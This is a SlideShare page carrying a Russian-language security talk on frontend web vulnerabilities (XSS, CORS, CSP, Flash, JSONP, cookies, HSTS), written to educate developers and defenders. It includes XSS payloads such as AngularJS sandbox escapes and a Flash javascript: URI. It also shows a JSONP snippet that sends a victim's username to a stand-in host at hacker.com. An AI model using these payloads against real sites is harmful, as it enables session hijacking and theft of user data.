SlideShare a Scribd company logo
(Не)безопасный  frontend
Сергей  Белов

аудитор  ИБ  Digital  Security
#  whoami
©  2002—2015,  Digital  Security 2
(Не)безопасный  frontend
Work/Activity  
BugHuting  
Speaker
О  чём  разговор?
©  2002—2015,  Digital  Security 3
(Не)безопасный  frontend
SOP  
Same  Origin  Policy  
scheme://domain:port  
+  усиление  безопасности
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 4
(Не)безопасный  frontend
Межсайтовый  скриптинг
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 5
(Не)безопасный  frontend
Межсайтовый  скриптинг  (XSS)  
▪ Хранимые  (server  side)  
▪ Отраженные  (server  side)  
▪ DOM  (client  side!)
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 6
(Не)безопасный  frontend
document.write("Site is at: " + document.location.href);
http://victim.com/action#<script>alert('xss')</script>
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 7
(Не)безопасный  frontend
Sources  
▪  document.URL  
▪  location  
▪  document.referrer  
▪  window.name  
▪  localStorage  
▪  cookies  
▪  …    
  
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 8
(Не)безопасный  frontend
Sinks  
▪  eval  
▪  document.write  
▪  (element).innerHTML  
▪  (element).src  
▪  setTimeout  /  setInterval  
▪  execScript  
▪  …    
https://code.google.com/p/domxsswiki/  
http://habrahabr.ru/company/xakep/blog/189210/  
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 9
(Не)безопасный  frontend
Утечки  информации
©  2002—2015,  Digital  Security 10
(Не)безопасный  frontend
Утечки  информации
©  2002—2015,  Digital  Security 11
(Не)безопасный  frontend
testServer = host.match(/[^.]+.((?:f|my.XXX)d*).YYY.ru/)
devServer = host.match(/^.+.dev.YYY.ru$/),
isXXX = testServer && testServer[1].indexOf('my.XXX') == 0,
...
internalDevHOST = '172.16.22.2';
internalProdHOST = '172.16.22.5';
...
file:///applications/releases.../sidebar.scss
Утечки  информации
MVC  фреймворки
©  2002—2015,  Digital  Security 12
(Не)безопасный  frontend
MVC  фреймворки
MVC  фреймворки
©  2002—2015,  Digital  Security 13
(Не)безопасный  frontend
MVC  фреймворки
©  2002—2015,  Digital  Security 14
(Не)безопасный  frontend
Фреймворки  помогают  расширить  работу  с  DOM  
-­‐  Шаблонизаторы  
-­‐  Новые  элементы  <rockyou></rockyou>  
-­‐  Биндинги  
MVC  фреймворки
©  2002—2015,  Digital  Security 15
(Не)безопасный  frontend
Logic-­‐less  templates  
<ul>
<li ng-repeat="phone in phones">
<span>{{phone.name}}</span>
<p>{{phone.snippet}}</p>
</li>
</ul>
MVC  фреймворки
©  2002—2015,  Digital  Security 16
(Не)безопасный  frontend
Фигурные  скобки  
<ul>
<li ng-repeat="phone in phones">
<span>{{phone.name}}</span>
<p>{{phone.snippet}}</p>
</li>
</ul>
MVC  фреймворки
©  2002—2015,  Digital  Security 17
(Не)безопасный  frontend
{Logic-­‐less  templates.  
http://mustache.github.io/  
JSMVC  фреймворки
©  2002—2015,  Digital  Security 18
(Не)безопасный  frontend
MVC  фреймворки
©  2002—2015,  Digital  Security 19
(Не)безопасный  frontend
•VueJS  
•AngularJS  
•CanJS  
•Underscore.js  
•KnockoutJS  
•Ember.js
Mustache  Security
https://code.google.com/p/mustache-­‐security/  
•Polymer  
•Ractive.js  
•jQuery  
•JsRender  
•Kendo  UI
MVC  фреймворки
©  2002—2015,  Digital  Security 20
(Не)безопасный  frontend
Mustache  Security  
AngularJS  (1.1.5)  –  Межсайтовый  скриптинг  


<div class="ng-app">

{{constructor.constructor('alert(1)')()}}

</div>
MVC  фреймворки
©  2002—2015,  Digital  Security 21
(Не)безопасный  frontend
Mustache  Security  
AngularJS  (1.2.18)  –  Межсайтовый  скриптинг,  после  
фиксов  


{{
(_=''.sub).call.call({}[$='constructor']
.getOwnPropertyDescriptor(_.__proto__,$)
.value,0,'alert(1)')()
}}
MVC  фреймворки
©  2002—2015,  Digital  Security 22
(Не)безопасный  frontend
Обновление  фрейморков  важно  для  
  безопасности!
Cookies
©  2002—2015,  Digital  Security 23
(Не)безопасный  frontend
Cookies
Cookies
©  2002—2015,  Digital  Security 24
(Не)безопасный  frontend
Обычно
<?php
setcookie('foo','bar1');  
?>  
import Cookie
C = Cookie.SimpleCookie()  
C["foo"] = "bar"
print C  
Set-­‐Cookie:  foo=bar
Cookies
©  2002—2015,  Digital  Security 25
(Не)безопасный  frontend
Правильно:  
1) Указывать  домен  для  установки  cookies  
2) HttpOnly  для  сессионных  значений  (phpsessid…)  
3) Secure  в  случае  “HTTPS  only”  
Переход  на  HTTPS
©  2002—2015,  Digital  Security 26
(Не)безопасный  frontend
Переход  на  HTTPS
Переход  на  HTTPS
©  2002—2015,  Digital  Security 27
(Не)безопасный  frontend
Server  side:  
• Выбор  сертификата  
• Настройка  вебсервера  (ciphersuite  и  т.п.)  
• Перенаправление  
Переход  на  HTTPS
©  2002—2015,  Digital  Security 28
(Не)безопасный  frontend
Client  side  
• Запрещаем  заходить  по  HTTP  –  HSTS  
Strict-Transport-Security: max-age=31536000;
• Добавляем  свой  ресурс  в  HSTS  preload  list  
         http://www.chromium.org/hsts  
Безопасность  HTML5
©  2002—2015,  Digital  Security 29
(Не)безопасный  frontend
Безопасность  HTML5
Безопасность  HTML5
©  2002—2015,  Digital  Security 30
(Не)безопасный  frontend
otherWindow.postMessage(message, targetOrigin);
Window.postMessage()
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event)
{
if (event.origin !== "http://example.org:8080")
return;
// ...
}
Домен  A
Домен  B
Безопасность  HTML5
©  2002—2015,  Digital  Security 31
(Не)безопасный  frontend
Window.postMessage()
if(message.orgin.indexOf(".example.com")!=-1)
{
/* ... */
}
Неправильно!
example.com.attacker.com
Безопасность  HTML5
©  2002—2015,  Digital  Security 32
(Не)безопасный  frontend
HTTP  access  control  (CORS)
1) Модно  
2) Безопасно  
3) Накосячить  очень  сложно  ☺
Безопасность  HTML5
©  2002—2015,  Digital  Security 33
(Не)безопасный  frontend
Cross-­‐origin  resource  sharing  (CORS)
В  ответе  веб-­‐сервера:  
Access-Control-Allow-Origin: *  
Означает  отдавать  контент  всем
Безопасность  HTML5
©  2002—2015,  Digital  Security 34
(Не)безопасный  frontend
Cross-­‐origin  resource  sharing  (CORS)  
В  ответе  веб-­‐сервера:  
Access-Control-Allow-Origin: *  
Означает  отдавать  контент  всем  
Но  не  это  правило  не  совместимо  с  заголовком  
Access-Control-Allow-Credentials: true 
Безопасность  HTML5
©  2002—2015,  Digital  Security 35
(Не)безопасный  frontend
Web  Sockets
1) Нет  авторизации  
2) WSS://  для  важных  данных  
3) Валидацию  никто  не  отменял  (сервер/клиент)  
4) Проверка  Origin  (не  отменяет  п.  1)  
5) …  
https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet  
Безопасность  HTML5
©  2002—2015,  Digital  Security 36
(Не)безопасный  frontend
Content  Security  Policy
Указывает  браузеру  доверенные  домены  для  различных  
ресурсов  (картинки,  js,  css...)
X-Content-Security-Policy: script-src js.example.com
Безопасность  HTML5
©  2002—2015,  Digital  Security 37
(Не)безопасный  frontend
Безопасность  HTML5
©  2002—2015,  Digital  Security 38
(Не)безопасный  frontend
Обход  
1) Возможность  загружать  файлы  на  разрешенные  
домены  в  CSP  (приложения  в  почте,  сообщениях)  
2) Загрузить  js  файл  и  подключить
Flash
©  2002—2015,  Digital  Security 39
(Не)безопасный  frontend
Flash
Flash
©  2002—2015,  Digital  Security 40
(Не)безопасный  frontend
Магический  crossdomain.xml
Самый  частый  случай
Flash
©  2002—2015,  Digital  Security 41
(Не)безопасный  frontend
Магический  crossdomain.xml
Чуть  реже  
•  Множество  доменов,  в  т.ч.  от  старых  названий  и  
проектов  (wamba.com  bugbounty  –  3000  рублей)  
•  Разрешены  домены  для  приложений  из  соц.  сетей
Flash
©  2002—2015,  Digital  Security 42
(Не)безопасный  frontend
XSS  через  Flash  -­‐  пример  с  getURL  
Уязвимый  код  
getURL(_root.URI,'_targetFrame'); 

Пример  эксплуатации  
http://victim/file.swf?URI=javascript:evilcode
getURL('javascript:evilcode','_self');
Больше  про  Cross  Site  Flashing  на  OWASP
Flash
©  2002—2015,  Digital  Security 43
(Не)безопасный  frontend
CVE-­‐2011-­‐2461  IS  BACK!  
1)  SWF  должен  быть  собран  с  уязвимой  версией  Adobe  
Flex  
2)  Дает  полный  обход  SOP
Flash
©  2002—2015,  Digital  Security 44
(Не)безопасный  frontend
CVE-­‐2011-­‐2461  IS  BACK!  
Для  проверки  можно  использовать  ParrotNG  
https://github.com/ikkisoft/ParrotNG/  
java -jar parrotng_v0.2.jar <SWF File | Directory>
Больше  информации  
• http://blog.nibblesec.org/2015/03/the-­‐old-­‐is-­‐new-­‐again-­‐cve-­‐2011-­‐2461-­‐is.html  
• http://www.slideshare.net/ikkisoft/the-­‐old-­‐is-­‐new-­‐again-­‐cve20112461-­‐is-­‐back  
Раскрытие  информации  через  JSONP
©  2002—2015,  Digital  Security 45
(Не)безопасный  frontend
Раскрытие  информации  
через  JSONP
Раскрытие  информации  через  JSONP
©  2002—2015,  Digital  Security 46
(Не)безопасный  frontend
JSONP  leaks
©  2002—2015,  Digital  Security 47
(Не)безопасный  frontend
JSONP  leaks
©  2002—2015,  Digital  Security 48
(Не)безопасный  frontend
http://habrahabr.ru/post/186160/
<script>
function func(obj) {
var url = "http://hacker.com/log?val="+obj['username'];
$.get(url);
}
</script>
<script src="http://victim.com/api/getUserInfo?callback=func">
</script>
X-­‐Frame-­‐Options
©  2002—2015,  Digital  Security 49
(Не)безопасный  frontend
X-­‐Frame-­‐Options
X-­‐Frame-­‐Options
©  2002—2015,  Digital  Security 50
(Не)безопасный  frontend
X-­‐Frame-­‐Options  в  ответе  веб-­‐сервера  позволяет  
1) Полностью  запретить  показ  страницы  во  фрейме  
2) Частично  запретить  (например,  разрешить  только  
для  того  же  origin)  
X-­‐Frame-­‐Options
©  2002—2015,  Digital  Security 51
(Не)безопасный  frontend
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 52
(Не)безопасный  frontend
Extensions  /  SmartTV
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 53
(Не)безопасный  frontend
Расширения  для  браузера?  
-­‐JS/HTML/CSS  
-­‐  Взаимодействие  с  DOM  
-­‐  Неограниченные  XHR  запросы  
-­‐  Расширенное  API    
Приложения  для  SmartTV  –  тоже  самое.
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 54
(Не)безопасный  frontend
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 55
(Не)безопасный  frontend
Видео
©  2002—2015,  Digital  Security 56
(Не)безопасный  frontend
На  десерт
©  2002—2015,  Digital  Security 57
(Не)безопасный  frontend
<a href=“http://external.com”>Go!</a>
В  заголовках  будет  
Referer: http://yoursite.com/  
А  что  в  случае  с  изображениями,  стилями,  JS  файлами?
©  2002—2015,  Digital  Security 58
(Не)безопасный  frontend
http://super-­‐website.com/user/passRecovery?t=SECRET  
...  
<img src=http://comics.com/password.jpg>
...    
Владелец  
comics.com  
Знает  все  секретные  токены  (для  сброса  пароля!)
     
twitter.com/sergeybelove
sbelov@dsec.ru
      
© 2002—2015, Digital Security
Digital Security в Москве: (495) 223-07-86
Digital Security в Санкт-Петербурге: (812) 703-15-47
59
Тестируйте  безопасность!

More Related Content

PDF
(Не)безопасный frontend
PPTX
современная практика статического анализа безопасности кода веб приложений
PPTX
Waf.js: как защищать веб-приложения с использованием JavaScript
PPTX
Mythbusters - Web Application Security
PDF
Григорий Петров "WebRTC в мобильных приложениях при помощи React Native"
PDF
Александр Сычев "Статика и динамика. Как фреймворки помогут прокачать ваше пр...
PPTX
Валерий Блонский (Казахстан), PACIFICA. Как угнать Ботнет
PPTX
Знакомство с WebAssembly
(Не)безопасный frontend
современная практика статического анализа безопасности кода веб приложений
Waf.js: как защищать веб-приложения с использованием JavaScript
Mythbusters - Web Application Security
Григорий Петров "WebRTC в мобильных приложениях при помощи React Native"
Александр Сычев "Статика и динамика. Как фреймворки помогут прокачать ваше пр...
Валерий Блонский (Казахстан), PACIFICA. Как угнать Ботнет
Знакомство с WebAssembly

What's hot (20)

PDF
Roman Romanovsky, Sergey Rak - "JavaScript в IoT "
PDF
Desktop app based on node js and html5
PDF
FrontEndConf 2015: Microsoft Edge and Web Apps Platfrom in Windows 10
PPTX
Целевые атаки: прицелься первым
PPTX
Yuri Trukhin - IE9 Launch
PDF
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...
PDF
#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил Реенко
PDF
70 - Spring. Установка GlassFish
PPTX
nw.js введение в кросс-платформенные десктопные приложения на javascript (mo...
PDF
Joker 2015 Wild microSERVICES
PDF
"nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ...
PDF
Безопасные связи, Дмитрий Евдокимов
PDF
Дмитрий Евдокимов
PDF
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
PDF
Евгений Батовский, Николай Птущук "Современный станок верстальщика"
PPTX
Выступление Ревизиум на ХостОбзор 2017
PPTX
Вредные советы для разработчиков
PDF
Популярні способи зломів та шахрайські схеми
PDF
Программируемость фабрики ACI. Объектная модель, REST API, ACI Python SDK
PDF
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Roman Romanovsky, Sergey Rak - "JavaScript в IoT "
Desktop app based on node js and html5
FrontEndConf 2015: Microsoft Edge and Web Apps Platfrom in Windows 10
Целевые атаки: прицелься первым
Yuri Trukhin - IE9 Launch
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...
#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил Реенко
70 - Spring. Установка GlassFish
nw.js введение в кросс-платформенные десктопные приложения на javascript (mo...
Joker 2015 Wild microSERVICES
"nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ...
Безопасные связи, Дмитрий Евдокимов
Дмитрий Евдокимов
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
Евгений Батовский, Николай Птущук "Современный станок верстальщика"
Выступление Ревизиум на ХостОбзор 2017
Вредные советы для разработчиков
Популярні способи зломів та шахрайські схеми
Программируемость фабрики ACI. Объектная модель, REST API, ACI Python SDK
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Ad

Similar to (Не)безопасный Frontend / Сергей Белов (Digital Security) (20)

PDF
Ihor Bliumental – Is There Life Outside OWASP Top-10
PPTX
Атаки на web-приложения. Основы
PDF
Максим Кочкин (Wamba)
PDF
Web application security (RIT 2014, rus)
PPT
PT MIFI Labxss
PPT
PT MIFI Labxss
KEY
Безопасность веб-приложений: starter edition
PPTX
Информационная безопасность в аспекте веб-разработки
ODP
безопасность Ajax приложений александр капранов
PPTX
Эволюция атак на веб приложения (Evolution of web applications attacks)
PPTX
А не поговорить ли нам о XSS!
PDF
Samosadny mass csrf attacks via flash ads
ODP
AJAX Security
PPTX
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
PPTX
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
PPT
Новые угрозы безопасности
PPT
Web осень 2012 лекция 11
PPT
Web Threats
PPT
Информационная безопасность и web-приложения
PDF
Risspa domxss
Ihor Bliumental – Is There Life Outside OWASP Top-10
Атаки на web-приложения. Основы
Максим Кочкин (Wamba)
Web application security (RIT 2014, rus)
PT MIFI Labxss
PT MIFI Labxss
Безопасность веб-приложений: starter edition
Информационная безопасность в аспекте веб-разработки
безопасность Ajax приложений александр капранов
Эволюция атак на веб приложения (Evolution of web applications attacks)
А не поговорить ли нам о XSS!
Samosadny mass csrf attacks via flash ads
AJAX Security
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
Новые угрозы безопасности
Web осень 2012 лекция 11
Web Threats
Информационная безопасность и web-приложения
Risspa domxss
Ad

More from Ontico (20)

PDF
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
PDF
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
PPTX
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
PDF
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
PDF
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
PDF
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PDF
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
PDF
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
PPTX
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
PPTX
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
PDF
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
PPTX
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
PPTX
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
PDF
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
PPT
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
PPTX
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
PPTX
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
PPTX
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
PPTX
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
PDF
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
Внутренний open-source. Как разрабатывать мобильное приложение большим количе...
Подробно о том, как Causal Consistency реализовано в MongoDB / Михаил Тюленев...
Балансировка на скорости проводов. Без ASIC, без ограничений. Решения NFWare ...
Перехват трафика — мифы и реальность / Евгений Усков (Qrator Labs)
И тогда наверняка вдруг запляшут облака! / Алексей Сушков (ПЕТЕР-СЕРВИС)
Как мы заставили Druid работать в Одноклассниках / Юрий Невиницин (OK.RU)
Разгоняем ASP.NET Core / Илья Вербицкий (WebStoating s.r.o.)
100500 способов кэширования в Oracle Database или как достичь максимальной ск...
Apache Ignite Persistence: зачем Persistence для In-Memory, и как он работает...
Механизмы мониторинга баз данных: взгляд изнутри / Дмитрий Еманов (Firebird P...

(Не)безопасный Frontend / Сергей Белов (Digital Security)

  • 2. #  whoami ©  2002—2015,  Digital  Security 2 (Не)безопасный  frontend Work/Activity   BugHuting   Speaker
  • 3. О  чём  разговор? ©  2002—2015,  Digital  Security 3 (Не)безопасный  frontend SOP   Same  Origin  Policy   scheme://domain:port   +  усиление  безопасности
  • 4. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 4 (Не)безопасный  frontend Межсайтовый  скриптинг
  • 5. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 5 (Не)безопасный  frontend Межсайтовый  скриптинг  (XSS)   ▪ Хранимые  (server  side)   ▪ Отраженные  (server  side)   ▪ DOM  (client  side!)
  • 6. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 6 (Не)безопасный  frontend document.write("Site is at: " + document.location.href); http://victim.com/action#<script>alert('xss')</script>
  • 7. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 7 (Не)безопасный  frontend Sources   ▪  document.URL   ▪  location   ▪  document.referrer   ▪  window.name   ▪  localStorage   ▪  cookies   ▪  …      
  • 8. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 8 (Не)безопасный  frontend Sinks   ▪  eval   ▪  document.write   ▪  (element).innerHTML   ▪  (element).src   ▪  setTimeout  /  setInterval   ▪  execScript   ▪  …     https://code.google.com/p/domxsswiki/   http://habrahabr.ru/company/xakep/blog/189210/  
  • 9. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 9 (Не)безопасный  frontend
  • 10. Утечки  информации ©  2002—2015,  Digital  Security 10 (Не)безопасный  frontend Утечки  информации
  • 11. ©  2002—2015,  Digital  Security 11 (Не)безопасный  frontend testServer = host.match(/[^.]+.((?:f|my.XXX)d*).YYY.ru/) devServer = host.match(/^.+.dev.YYY.ru$/), isXXX = testServer && testServer[1].indexOf('my.XXX') == 0, ... internalDevHOST = '172.16.22.2'; internalProdHOST = '172.16.22.5'; ... file:///applications/releases.../sidebar.scss Утечки  информации
  • 12. MVC  фреймворки ©  2002—2015,  Digital  Security 12 (Не)безопасный  frontend MVC  фреймворки
  • 13. MVC  фреймворки ©  2002—2015,  Digital  Security 13 (Не)безопасный  frontend
  • 14. MVC  фреймворки ©  2002—2015,  Digital  Security 14 (Не)безопасный  frontend Фреймворки  помогают  расширить  работу  с  DOM   -­‐  Шаблонизаторы   -­‐  Новые  элементы  <rockyou></rockyou>   -­‐  Биндинги  
  • 15. MVC  фреймворки ©  2002—2015,  Digital  Security 15 (Не)безопасный  frontend Logic-­‐less  templates   <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  • 16. MVC  фреймворки ©  2002—2015,  Digital  Security 16 (Не)безопасный  frontend Фигурные  скобки   <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  • 17. MVC  фреймворки ©  2002—2015,  Digital  Security 17 (Не)безопасный  frontend {Logic-­‐less  templates.   http://mustache.github.io/  
  • 18. JSMVC  фреймворки ©  2002—2015,  Digital  Security 18 (Не)безопасный  frontend
  • 19. MVC  фреймворки ©  2002—2015,  Digital  Security 19 (Не)безопасный  frontend •VueJS   •AngularJS   •CanJS   •Underscore.js   •KnockoutJS   •Ember.js Mustache  Security https://code.google.com/p/mustache-­‐security/   •Polymer   •Ractive.js   •jQuery   •JsRender   •Kendo  UI
  • 20. MVC  фреймворки ©  2002—2015,  Digital  Security 20 (Не)безопасный  frontend Mustache  Security   AngularJS  (1.1.5)  –  Межсайтовый  скриптинг   
 <div class="ng-app">
 {{constructor.constructor('alert(1)')()}}
 </div>
  • 21. MVC  фреймворки ©  2002—2015,  Digital  Security 21 (Не)безопасный  frontend Mustache  Security   AngularJS  (1.2.18)  –  Межсайтовый  скриптинг,  после   фиксов   
 {{ (_=''.sub).call.call({}[$='constructor'] .getOwnPropertyDescriptor(_.__proto__,$) .value,0,'alert(1)')() }}
  • 22. MVC  фреймворки ©  2002—2015,  Digital  Security 22 (Не)безопасный  frontend Обновление  фрейморков  важно  для    безопасности!
  • 23. Cookies ©  2002—2015,  Digital  Security 23 (Не)безопасный  frontend Cookies
  • 24. Cookies ©  2002—2015,  Digital  Security 24 (Не)безопасный  frontend Обычно <?php setcookie('foo','bar1');   ?>   import Cookie C = Cookie.SimpleCookie()   C["foo"] = "bar" print C   Set-­‐Cookie:  foo=bar
  • 25. Cookies ©  2002—2015,  Digital  Security 25 (Не)безопасный  frontend Правильно:   1) Указывать  домен  для  установки  cookies   2) HttpOnly  для  сессионных  значений  (phpsessid…)   3) Secure  в  случае  “HTTPS  only”  
  • 26. Переход  на  HTTPS ©  2002—2015,  Digital  Security 26 (Не)безопасный  frontend Переход  на  HTTPS
  • 27. Переход  на  HTTPS ©  2002—2015,  Digital  Security 27 (Не)безопасный  frontend Server  side:   • Выбор  сертификата   • Настройка  вебсервера  (ciphersuite  и  т.п.)   • Перенаправление  
  • 28. Переход  на  HTTPS ©  2002—2015,  Digital  Security 28 (Не)безопасный  frontend Client  side   • Запрещаем  заходить  по  HTTP  –  HSTS   Strict-Transport-Security: max-age=31536000; • Добавляем  свой  ресурс  в  HSTS  preload  list         http://www.chromium.org/hsts  
  • 29. Безопасность  HTML5 ©  2002—2015,  Digital  Security 29 (Не)безопасный  frontend Безопасность  HTML5
  • 30. Безопасность  HTML5 ©  2002—2015,  Digital  Security 30 (Не)безопасный  frontend otherWindow.postMessage(message, targetOrigin); Window.postMessage() window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { if (event.origin !== "http://example.org:8080") return; // ... } Домен  A Домен  B
  • 31. Безопасность  HTML5 ©  2002—2015,  Digital  Security 31 (Не)безопасный  frontend Window.postMessage() if(message.orgin.indexOf(".example.com")!=-1) { /* ... */ } Неправильно! example.com.attacker.com
  • 32. Безопасность  HTML5 ©  2002—2015,  Digital  Security 32 (Не)безопасный  frontend HTTP  access  control  (CORS) 1) Модно   2) Безопасно   3) Накосячить  очень  сложно  ☺
  • 33. Безопасность  HTML5 ©  2002—2015,  Digital  Security 33 (Не)безопасный  frontend Cross-­‐origin  resource  sharing  (CORS) В  ответе  веб-­‐сервера:   Access-Control-Allow-Origin: *   Означает  отдавать  контент  всем
  • 34. Безопасность  HTML5 ©  2002—2015,  Digital  Security 34 (Не)безопасный  frontend Cross-­‐origin  resource  sharing  (CORS)   В  ответе  веб-­‐сервера:   Access-Control-Allow-Origin: *   Означает  отдавать  контент  всем   Но  не  это  правило  не  совместимо  с  заголовком   Access-Control-Allow-Credentials: true 
  • 35. Безопасность  HTML5 ©  2002—2015,  Digital  Security 35 (Не)безопасный  frontend Web  Sockets 1) Нет  авторизации   2) WSS://  для  важных  данных   3) Валидацию  никто  не  отменял  (сервер/клиент)   4) Проверка  Origin  (не  отменяет  п.  1)   5) …   https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet  
  • 36. Безопасность  HTML5 ©  2002—2015,  Digital  Security 36 (Не)безопасный  frontend Content  Security  Policy Указывает  браузеру  доверенные  домены  для  различных   ресурсов  (картинки,  js,  css...) X-Content-Security-Policy: script-src js.example.com
  • 37. Безопасность  HTML5 ©  2002—2015,  Digital  Security 37 (Не)безопасный  frontend
  • 38. Безопасность  HTML5 ©  2002—2015,  Digital  Security 38 (Не)безопасный  frontend Обход   1) Возможность  загружать  файлы  на  разрешенные   домены  в  CSP  (приложения  в  почте,  сообщениях)   2) Загрузить  js  файл  и  подключить
  • 39. Flash ©  2002—2015,  Digital  Security 39 (Не)безопасный  frontend Flash
  • 40. Flash ©  2002—2015,  Digital  Security 40 (Не)безопасный  frontend Магический  crossdomain.xml Самый  частый  случай
  • 41. Flash ©  2002—2015,  Digital  Security 41 (Не)безопасный  frontend Магический  crossdomain.xml Чуть  реже   •  Множество  доменов,  в  т.ч.  от  старых  названий  и   проектов  (wamba.com  bugbounty  –  3000  рублей)   •  Разрешены  домены  для  приложений  из  соц.  сетей
  • 42. Flash ©  2002—2015,  Digital  Security 42 (Не)безопасный  frontend XSS  через  Flash  -­‐  пример  с  getURL   Уязвимый  код   getURL(_root.URI,'_targetFrame'); 
 Пример  эксплуатации   http://victim/file.swf?URI=javascript:evilcode getURL('javascript:evilcode','_self'); Больше  про  Cross  Site  Flashing  на  OWASP
  • 43. Flash ©  2002—2015,  Digital  Security 43 (Не)безопасный  frontend CVE-­‐2011-­‐2461  IS  BACK!   1)  SWF  должен  быть  собран  с  уязвимой  версией  Adobe   Flex   2)  Дает  полный  обход  SOP
  • 44. Flash ©  2002—2015,  Digital  Security 44 (Не)безопасный  frontend CVE-­‐2011-­‐2461  IS  BACK!   Для  проверки  можно  использовать  ParrotNG   https://github.com/ikkisoft/ParrotNG/   java -jar parrotng_v0.2.jar <SWF File | Directory> Больше  информации   • http://blog.nibblesec.org/2015/03/the-­‐old-­‐is-­‐new-­‐again-­‐cve-­‐2011-­‐2461-­‐is.html   • http://www.slideshare.net/ikkisoft/the-­‐old-­‐is-­‐new-­‐again-­‐cve20112461-­‐is-­‐back  
  • 45. Раскрытие  информации  через  JSONP ©  2002—2015,  Digital  Security 45 (Не)безопасный  frontend Раскрытие  информации   через  JSONP
  • 46. Раскрытие  информации  через  JSONP ©  2002—2015,  Digital  Security 46 (Не)безопасный  frontend
  • 47. JSONP  leaks ©  2002—2015,  Digital  Security 47 (Не)безопасный  frontend
  • 48. JSONP  leaks ©  2002—2015,  Digital  Security 48 (Не)безопасный  frontend http://habrahabr.ru/post/186160/ <script> function func(obj) { var url = "http://hacker.com/log?val="+obj['username']; $.get(url); } </script> <script src="http://victim.com/api/getUserInfo?callback=func"> </script>
  • 49. X-­‐Frame-­‐Options ©  2002—2015,  Digital  Security 49 (Не)безопасный  frontend X-­‐Frame-­‐Options
  • 50. X-­‐Frame-­‐Options ©  2002—2015,  Digital  Security 50 (Не)безопасный  frontend X-­‐Frame-­‐Options  в  ответе  веб-­‐сервера  позволяет   1) Полностью  запретить  показ  страницы  во  фрейме   2) Частично  запретить  (например,  разрешить  только   для  того  же  origin)  
